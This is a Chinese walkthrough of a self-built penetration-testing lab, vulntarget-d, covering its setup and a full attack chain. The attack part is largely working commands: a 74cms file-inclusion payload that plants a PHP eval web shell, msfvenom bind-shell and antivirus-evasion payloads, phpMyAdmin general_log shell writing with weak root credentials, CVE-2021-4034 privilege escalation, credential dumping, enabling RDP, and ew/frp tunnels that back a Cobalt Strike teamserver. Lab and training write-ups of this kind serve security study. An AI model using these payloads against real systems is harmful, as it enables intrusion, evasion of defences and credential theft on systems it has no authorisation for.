vulntarget漏洞靶场系列(四)— vulntarget-d

admin 2022年2月12日17:58:38评论493 views字数 9524阅读31分44秒阅读模式

vuntarget免责声明

vulntarget靶场系列仅供安全专业人员练习渗透测试技术,此靶场所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用靶场中的技术资料对任何计算机系统进行入侵操作。利用此靶场所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
vulntarget靶场系列拥有对此靶场系列的的修改、删除和解释权限,未经授权,不得用于其他。

vulntarget开源靶场交流群:

vulntarget漏洞靶场系列(四)— vulntarget-d

目前已经超过200人,请添加下面的二维码为联系人之后,备注:靶场 进群!(一定要记得备注哦)

vulntarget漏洞靶场系列(四)— vulntarget-d

00

相关漏洞技术

vulntarget漏洞靶场系列(四)— vulntarget-d
frp穿透免杀文件包含漏洞phpmyadmin 日志getshell、提权等。
这个靶机很简单,最早的时候这个靶机是有三层的,最后一层是工控PLC设备,而且是某个大型比赛的一个分靶场。
本来是想用frp穿透这个技术的,奈何时间太紧了,所以下文只是使用msf进行了打靶,感兴趣的师傅可以自行测试下,期待各位师傅的投稿鸭。
参考资料:(Cobalt srtike使用frp实现内网穿透)https://mp.weixin.qq.com/s/Ou_Lk3rCRd2oWuczyYCaCg

下载地址:

百度云链接:

链接: https://pan.baidu.com/s/1p3GDd7V3Unmq3-wSAvl7_Q 提取码:1p9p

下文搭建镜像在vulntarget-d目录下,a/b/c已经发表在星期五实验室公众号,并同步到乌鸦安全公众号文章里,感兴趣的可以关注公众号,后续系列也会发在公众号。

Github: 

https://github.com/crow821/vulntarget

欢迎多多star,也欢迎加入我们。

vulntarget漏洞靶场系列(四)— vulntarget-d

测试说明:
  1. 镜像都是基于VM16做的,没有向下兼容。
  2. 操作人员自行修改第一层外网IP,将其修改为攻击机可访问IP即可,二层均服务自启。
  3. 下载靶机,开机之后,确认自己网络配置好了,可以选择本地做一个快照,原本的快照可能会因为制作靶机的处理器和当前打开靶机的处理器不一致,导致快照恢复失败,或者异常(见谅)。
vulntarget漏洞靶场系列(四)— vulntarget-d
解压之后的文件夹是带有vmwarevm后缀的,只需要将该后缀删除即可开始打靶!

01

拓扑图

vulntarget漏洞靶场系列(四)— vulntarget-d
vulntarget漏洞靶场系列(四)— vulntarget-d

02

环境配置

vulntarget漏洞靶场系列(四)— vulntarget-d

密码情况:

ubuntueval      vulntarget

win7:   crow    admin

Ubuntu
使用VMnet18网络配置内网环境(这个可以自己修改)
然后在Ubuntu18上进行设置,双网卡:
开启Ubuntu,查看下当前网络信息:
vulntarget漏洞靶场系列(四)— vulntarget-d

如果网络不对的话,可以使用下面的命令自动获取:

vulntarget漏洞靶场系列(四)— vulntarget-d


Windows7

同样使用内网网络:
vulntarget漏洞靶场系列(四)— vulntarget-d
vulntarget漏洞靶场系列(四)— vulntarget-d

此时得到ip地址:
Windows7 :10.0.20.133
Ubuntu
ip1:10.0.20.131
ip2:10.30.2.249

win7测试Ubuntu,测试正常
vulntarget漏洞靶场系列(四)— vulntarget-d
Ubuntu测试win7,因为win7开启了防火墙,所以ping不通。(后续要关闭防火墙或者设置入站规则,开启web端口的入站,否则网站无法访问)
vulntarget漏洞靶场系列(四)— vulntarget-d

03

靶场设计

vulntarget漏洞靶场系列(四)— vulntarget-d

3.1 ubuntu

宝塔和服务器的配置

账号密码:eval/vulntarget
双网卡,外网为桥接模式,自动获取IP,内网为仅主机模式
外网IP10.30.2.249(web服务)
内网IP10.0.20.131(与win7通信)

下载74cms:http://www.74cms.com/download/index.html
vulntarget漏洞靶场系列(四)— vulntarget-d
因为没有安装vmtools,也没有ssh,所以在安装的时候,可以使用wget下载命令安装:
vulntarget漏洞靶场系列(四)— vulntarget-d
宝塔安装:
sudo wget -O install.sh http://download.bt.cn/install/install-ubuntu_6
.0.sh && sudo bash install.sh
vulntarget漏洞靶场系列(四)— vulntarget-d
安装成功之后:
vulntarget漏洞靶场系列(四)— vulntarget-d

到宝塔去安装web环境就行(bt 14获取对应接口和账密)
面板地址:http://10.30.2.249:8888/42f5e63e/
账号:hplxubsl
密码:94e697b0
注意:新版宝塔面板需要绑定宝塔账号才可以登录使用,暂时无绕过教程,所以后续的搭建过程中都是根据已有的绑定账号进行搭建的,搭建完之后,为了隐私安全,删除了账号,所以师傅如果登录后台之后,是需要自己绑定账号才可以管理网站的。

登录宝塔面板:

vulntarget漏洞靶场系列(四)— vulntarget-d
安装mysqlphpapache这之后,开始准备安装cms
上传文件到宝塔之后,创建站点:
vulntarget漏洞靶场系列(四)— vulntarget-d
vulntarget漏洞靶场系列(四)— vulntarget-d

74cms安装

http://10.30.2.249:81/install.php
跟着往下安装
vulntarget漏洞靶场系列(四)— vulntarget-d
此时安装成功:
vulntarget漏洞靶场系列(四)— vulntarget-d

安装完成

网站前台:http://10.30.2.249:81/

网站后台:http://10.30.2.249:81/index.php?m=admin&c=index&a=login

开启免费防火墙
1、进入宝塔面板,打开 软件管理 >Nginx> 设置 > 配置修改;
2、找到大约在第13行的#include luawaf.conf;,去掉前面的# 符号(“#”代表注释),保存并重启Nginx
vulntarget漏洞靶场系列(四)— vulntarget-d
此时防火墙已经生效
vulntarget漏洞靶场系列(四)— vulntarget-d
删除system函数后可执行(这里删除system的原因,主要是为了降低难度)

vulntarget漏洞靶场系列(四)— vulntarget-d

3.2 win7

网络配置
网卡是10.0.20.133  负责与Ubuntu通信
系统安装了火绒最新版。
vulntarget漏洞靶场系列(四)— vulntarget-d

关闭防火墙
vulntarget漏洞靶场系列(四)— vulntarget-d


漏洞设计
使用了phpstudy2018搭建,搭建之后,其他的就不管了:
vulntarget漏洞靶场系列(四)— vulntarget-d

04

打靶流程

vulntarget漏洞靶场系列(四)— vulntarget-d

4.1 ubuntu

端口扫描:10.30.2.249
vulntarget漏洞靶场系列(四)— vulntarget-d
查看http://10.30.2.249:81/,通过搜集信息可知,可能存在74cms文件包含漏洞:
http://10.30.2.249:81/index.php?m=home&a=assign_resume_tpl
访问
vulntarget漏洞靶场系列(四)— vulntarget-d
然后继续执行:
http://10.30.2.249:81/index.php?m=home&a=assign_resume_tpl
POST部分:
variable=1&tpl=<?php fputs(fopen("tx.php","w"),"<?php eval($_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
vulntarget漏洞靶场系列(四)— vulntarget-d
在日志中结果:(这个结果是去年测试的,文件名构成:年份+月份+日期.log
vulntarget漏洞靶场系列(四)— vulntarget-d
vulntarget漏洞靶场系列(四)— vulntarget-d

开始包含:
http://10.30.2.249:81/index.php?m=home&a=assign_resume_tpl
POST部分:(注意包含的时候,要对应日期)
variable=1&tpl=data/Runtime/Logs/Home/22_02_07.log

vulntarget漏洞靶场系列(四)— vulntarget-d

此时在upload目录下已经存在了tx.php


vulntarget漏洞靶场系列(四)— vulntarget-d
shell.php会被被拦截,要避免!
vulntarget漏洞靶场系列(四)— vulntarget-d
连接蚁剑

http://10.30.2.249:81/tx.php


vulntarget漏洞靶场系列(四)— vulntarget-d
连接蚁剑:
vulntarget漏洞靶场系列(四)— vulntarget-d
拿到shell之后,就有很多种方法继续了,在这里展开几种方法。

4.2 msf方法

msf木马上线

msf首先生成linux木马,因为宝塔可能会干扰反向连接的木马,所以在这里生成的是一个正向木马(默认宝塔的系统防火墙没开几个端口,反向的时候可能会连不上,不过这里环境是全开了):
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf > 0207.elf
vulntarget漏洞靶场系列(四)— vulntarget-d

通过蚁剑上传上去之后,赋予执行权限,运行:

vulntarget漏洞靶场系列(四)— vulntarget-d
同时在攻击机开启msf进行连接:
msf6 > use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcppayload => linux/x64/meterpreter/bind_tcpmsf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
  Name  Current Setting  Required  Description   ----  ---------------  --------  -----------

Payload options (linux/x64/meterpreter/bind_tcp):
  Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   LPORT  4444             yes       The listen port   RHOST                   no        The target address

Exploit target:
  Id  Name   --  ----   0   Wildcard Target

msf6 exploit(multi/handler) > set RHOST 10.30.2.249RHOST => 10.30.2.249msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 10.30.2.249:4444[*] Sending stage (3012548 bytes) to 10.30.2.249[*] Meterpreter session 1 opened (10.30.0.248:65194 -> 10.30.2.249:4444 ) at 2022-02-07 11:01:12 +0800
vulntarget漏洞靶场系列(四)— vulntarget-d

eval用户的Desktop目录下发现一枚flag
flag{welcome_to_vulntarget-d}
vulntarget漏洞靶场系列(四)— vulntarget-d

linux提权

CVE-2021-3493无法直接提权,使用CVE-2021-4034可以提权,文件在百度云盘里面。
vulntarget漏洞靶场系列(四)— vulntarget-d


设置代理

vulntarget漏洞靶场系列(四)— vulntarget-d
在机器上使用命令发现,当前还存在一个内网的ip地址,那就设置代理,进行设置。
添加路由:

run post/multi/manage/autoroute

vulntarget漏洞靶场系列(四)— vulntarget-d
加代理
run auxiliary/server/socks_proxy
vulntarget漏洞靶场系列(四)— vulntarget-d
vulntarget漏洞靶场系列(四)— vulntarget-d

在这使用的是默认的socks5的代理模式。

vulntarget漏洞靶场系列(四)— vulntarget-d

内网扫描

使用auxiliary/scanner/portscan/tcp模块进行主机存活扫描
msf6 exploit(multi/handler) > use auxiliary/scanner/portscan/tcpmsf6 auxiliary(scanner/portscan/tcp) > options
Module options (auxiliary/scanner/portscan/tcp):
  Name         Current Setting  Required  Description   ----         ---------------  --------  -----------   CONCURRENCY  10               yes       The number of concurrent ports to check per host   DELAY        0                yes       The delay between connections, per thread, in milliseconds   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in                                           milliseconds.   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)   RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metasploit-fram                                           ework/wiki/Using-Metasploit   THREADS      1                yes       The number of concurrent threads (max one per host)   TIMEOUT      1000             yes       The socket connect timeout in milliseconds
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 21,22,23,80,443,8080,3389,445PORTS => 21,22,23,80,443,8080,3389,445msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.0.20.0/24RHOSTS => 10.0.20.0/24msf6 auxiliary(scanner/portscan/tcp) > run^C[*] 10.0.20.0/24:         - Caught interrupt from the console...[*] Auxiliary module execution completedmsf6 auxiliary(scanner/portscan/tcp) > set threads 50threads => 50msf6 auxiliary(scanner/portscan/tcp) > run
[*] 10.0.20.0/24:         - Scanned  50 of 256 hosts (19% complete)[*] 10.0.20.0/24:         - Scanned  52 of 256 hosts (20% complete)[*] 10.0.20.0/24:         - Scanned  97 of 256 hosts (37% complete)[+] 10.0.20.131:          - 10.0.20.131:80 - TCP OPEN[+] 10.0.20.132:          - 10.0.20.132:80 - TCP OPEN[+] 10.0.20.136:          - 10.0.20.136:80 - TCP OPEN[+] 10.0.20.136:          - 10.0.20.136:445 - TCP OPEN[+] 10.0.20.141:          - 10.0.20.141:22 - TCP OPEN[+] 10.0.20.141:          - 10.0.20.141:80 - TCP OPEN[*] 10.0.20.0/24:         - Scanned 106 of 256 hosts (41% complete)[*] 10.0.20.0/24:         - Scanned 128 of 256 hosts (50% complete)[*] 10.0.20.0/24:         - Scanned 155 of 256 hosts (60% complete)[*] 10.0.20.0/24:         - Scanned 180 of 256 hosts (70% complete)[*] 10.0.20.0/24:         - Scanned 210 of 256 hosts (82% complete)[*] 10.0.20.0/24:         - Scanned 231 of 256 hosts (90% complete)[*] 10.0.20.0/24:         - Scanned 256 of 256 hosts (100% complete)[*] Auxiliary module execution completed
vulntarget漏洞靶场系列(四)— vulntarget-d
发现存活主机10.0.20.136,且开放了80445端口(其中其他的ip是其他的vulntarget部分的,不属于本次vulntarget-d的测试部分)
使用浏览器的代理模块,访问10.0.20.136:80
vulntarget漏洞靶场系列(四)— vulntarget-d

此时证明访问成功,那就继续对该ip进行进一步的端口扫描。

vulntarget漏洞靶场系列(四)— vulntarget-d
在这里看到开放了3306端口,那访问下试试看:
vulntarget漏洞靶场系列(四)— vulntarget-d
此时看到3306开放的服务是mysql
在端口80上看不出啥东西,扫描下目录试试看:
dirsearch  -u http://10.0.20.136 --proxy socks5://127.0.0.1:1080
vulntarget漏洞靶场系列(四)— vulntarget-d
在这里扫描到了l.php,其实这里就可以看出来,这是一个phpstudy搭建的网站了,尝试访问:http://10.0.20.136/phpMyAdmin/
vulntarget漏洞靶场系列(四)— vulntarget-d
在这里尝试使用弱口令:root root 进行测试
vulntarget漏洞靶场系列(四)— vulntarget-d
很明显了,直接phpmyadminshell


phpmyadmin日志getshell
http://10.0.20.136/phpMyAdmin

账号:root    密码:root(这里也可以进行爆破,不要直接使用Brupsuite进行爆破,可以使用一些比较成熟的工具或者自己写脚本去爆破)
进来之后,开始尝试写日志拿shell
首先查看日志的状态:
SHOW  VARIABLES  LIKE  '%general%'


vulntarget漏洞靶场系列(四)— vulntarget-d

默认是关闭的所以先将 general_log 设置为on,执行
set global general_log=on;


vulntarget漏洞靶场系列(四)— vulntarget-d
然后再查看下状态
vulntarget漏洞靶场系列(四)— vulntarget-d
修改log文件的名称和位置
set global general_log_file='C:/phpstudy/PHPTutorial/www/vulntarget.php';
vulntarget漏洞靶场系列(四)— vulntarget-d

验证文件是否存在
http://10.0.20.136/vulntarget.php


vulntarget漏洞靶场系列(四)— vulntarget-d

写入一句话:

SELECT '<?php eval($_POST["vuln"]); ?>'


vulntarget漏洞靶场系列(四)— vulntarget-d
最后使用蚁剑进行连接:
代理配置:
vulntarget漏洞靶场系列(四)— vulntarget-d
添加数据,密码vuln
vulntarget漏洞靶场系列(四)— vulntarget-d
vulntarget漏洞靶场系列(四)— vulntarget-d
执行命令,看下当前权限:
vulntarget漏洞靶场系列(四)— vulntarget-d
当前已经拿到了管理员的权限。

windows7提权
刚已经拿到了其中一个管理员crow的权限,但是在这里我们想拿到system权限,
在这里使用tasklist /svc来查看有哪些杀毒软件:
vulntarget漏洞靶场系列(四)— vulntarget-d
查到有火绒这个软件的存在:
vulntarget漏洞靶场系列(四)— vulntarget-d
那先做一个免杀上线msf
免杀方法:https://mp.weixin.qq.com/s/PK53c-Fgay8-2i6co_a7GA

msfvenom -p windows/meterpreter/bind_tcp  -e x86/shikata_ga_nai -i 7 -b 'x00'  lport=1234  -f raw -o crowsec.jpg
vulntarget漏洞靶场系列(四)— vulntarget-d

新生成的文件和加载器通过蚁剑上传到win7中:
vulntarget漏洞靶场系列(四)— vulntarget-d
msf开启监听,木马直接运行:
msf6 exploit(multi/handler) > use exploit/multi/handler[*] Using configured payload windows/meterpreter/reverse_tcpsmsf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcppayload => windows/meterpreter/bind_tcpmsf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
  Name  Current Setting  Required  Description   ----  ---------------  --------  -----------

Payload options (windows/meterpreter/bind_tcp):
  Name      Current Setting  Required  Description   ----      ---------------  --------  -----------   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)   LPORT     1234             yes       The listen port   RHOST     10.0.20.136      no        The target address

Exploit target:
  Id  Name   --  ----   0   Wildcard Target

msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 10.0.20.136:1234[*] Sending stage (175174 bytes) to 10.0.20.136[*] Meterpreter session 2 opened (10.0.20.132:53280 -> 10.0.20.136:1234 via session 1) at 2022-02-07 17:55:41 +0800
vulntarget漏洞靶场系列(四)— vulntarget-d
提权测试:getsystem
vulntarget漏洞靶场系列(四)— vulntarget-d
提权成功


抓密码

vulntarget漏洞靶场系列(四)— vulntarget-d

在这里发现当前没办法抓到密码,主要是因为上面生成的木马是32位的。(如果你生成的木马是64位的,就没有这个问题)
getpidps查看一下进程:
vulntarget漏洞靶场系列(四)— vulntarget-d
vulntarget漏洞靶场系列(四)— vulntarget-d

那在这里将进程迁移到x64位上去:
migrate 504


vulntarget漏洞靶场系列(四)— vulntarget-d

注意迁移的时候,要迁移到systemuser上。

vulntarget漏洞靶场系列(四)— vulntarget-d
再次执行命令,即可获取明文密码。
vulntarget漏洞靶场系列(四)— vulntarget-d
得到用户名:crow 密码:admin


3389远程连接

run post/windows/manage/enable_rdp
vulntarget漏洞靶场系列(四)— vulntarget-d

配置代理之后,连接即可。

vulntarget漏洞靶场系列(四)— vulntarget-d

4.3 Cobalt Strike方法

该方法仅供参考,笔者没有实际测试,下面是以前的打靶方法。
反向代理
先上传ew到靶机
攻击机执行:ew_for_Win.exe  -s rcsocks -l 1080 -e 4399
vulntarget漏洞靶场系列(四)— vulntarget-d
靶机执行./ew_for_linux64  -s rssocks -d 192.168.166.177 -e 4399

vulntarget漏洞靶场系列(四)— vulntarget-d
浏览器设置代理
vulntarget漏洞靶场系列(四)— vulntarget-d
然后访问即可
vulntarget漏洞靶场系列(四)— vulntarget-d

phpmyadmin 日志getshell
http://10.0.1.128/phpmyadmin/
账号:root    密码:admin888
进来之后,开始尝试写日志拿shell
首先查看日志的状态
SHOW  VARIABLES  LIKE  '%general%'
vulntarget漏洞靶场系列(四)— vulntarget-d
默认是关闭的所以先将 general_log 设置为on,执行
set global general_log=on;

vulntarget漏洞靶场系列(四)— vulntarget-d

然后再查看下状态

vulntarget漏洞靶场系列(四)— vulntarget-d

修改log文件的名称和位置
set global general_log_file='C:/phpstudy/PHPTutorial/www/shell2.php';
vulntarget漏洞靶场系列(四)— vulntarget-d

验证文件是否存在
http://10.0.1.128/shell2.php
vulntarget漏洞靶场系列(四)— vulntarget-d
写入一句话:
SELECT '<?php eval($_POST["cat"]); ?>'
vulntarget漏洞靶场系列(四)— vulntarget-d

最后使用蚁剑进行连接。

vulntarget漏洞靶场系列(四)— vulntarget-d
vulntarget漏洞靶场系列(四)— vulntarget-d

CS上线

上传frpsubuntu上,frpc在本地启动
ubuntu启动frps
chmod +x frps./frps -c frps.ini
vulntarget漏洞靶场系列(四)— vulntarget-d

frpc.ini配置

[common]server_addr = 192.168.126.185server_port = 7000 [CS_Server_9050]type = tcplocal_ip = 127.0.0.1local_port = 50050remote_port = 9050 [test_Beacon_9080]type = tcplocal_ip = 127.0.0.1local_port = 9080remote_port = 9080

攻击机本地执行:

./frpc -c frpc.ini


vulntarget漏洞靶场系列(四)— vulntarget-d
vulntarget漏洞靶场系列(四)— vulntarget-d

启用CS

sudo ./teamserver 192.168.126.185  123


在这里CS的服务端为内网ipubuntuip地址

vulntarget漏洞靶场系列(四)— vulntarget-d

客户端需要使用转发的9050端口

vulntarget漏洞靶场系列(四)— vulntarget-d
vulntarget漏洞靶场系列(四)— vulntarget-d

上线


3389登录上位机

设置监听,并生成exe木马文件
vulntarget漏洞靶场系列(四)— vulntarget-d
免杀火绒上线
vulntarget漏洞靶场系列(四)— vulntarget-d

抓取明文

vulntarget漏洞靶场系列(四)— vulntarget-d

并开启3389

vulntarget漏洞靶场系列(四)— vulntarget-d

proxifier开启全局代理,然后3389

vulntarget漏洞靶场系列(四)— vulntarget-d

登录成功

vulntarget漏洞靶场系列(四)— vulntarget-d

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月12日17:58:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulntarget漏洞靶场系列(四)— vulntarget-dhttp://cn-sec.com/archives/775584.html

发表评论

匿名网友 填写信息